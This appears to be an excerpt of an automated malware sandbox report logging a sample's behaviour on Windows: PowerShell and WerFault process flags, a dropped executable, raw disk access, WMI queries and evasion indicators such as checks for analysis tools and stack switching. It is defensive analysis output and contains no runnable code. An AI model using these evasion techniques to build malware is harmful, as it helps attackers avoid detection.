Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	API/Special instruction interceptor: Address: 7FFB2CECD044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 7FFB2CECD044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 548B83A

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: fontdrvhost.exe, 0000001E.00000002.1955576386.0000000003720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895991762.00000000028D9000.00000040.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1859078938.0000000002729000.00000040.00000400.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1855071772.0000000002729000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Binary or memory string: CFF EXPLORER.EXE
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895991762.00000000028D9000.00000040.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1859078938.0000000002729000.00000040.00000400.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1855071772.0000000002729000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: fontdrvhost.exe, 0000001E.00000002.1955576386.0000000003720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OCEXP64.EXETCPVIEW.EXETCPVIEW64.EXEPROCMON.EXE33

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3537	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6342	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5314
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4403

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Dropped PE file which has not been started: C:\Users\user\Documents\ThaiPerfecto\sdk\PerfectoUna.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep count: 3537 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7616	Thread sleep count: 6342 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9200	Thread sleep count: 5314 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9180	Thread sleep count: 4403 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000003.00000002.1567473604.000001FB1E939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tEventVmNetworkAdapter',
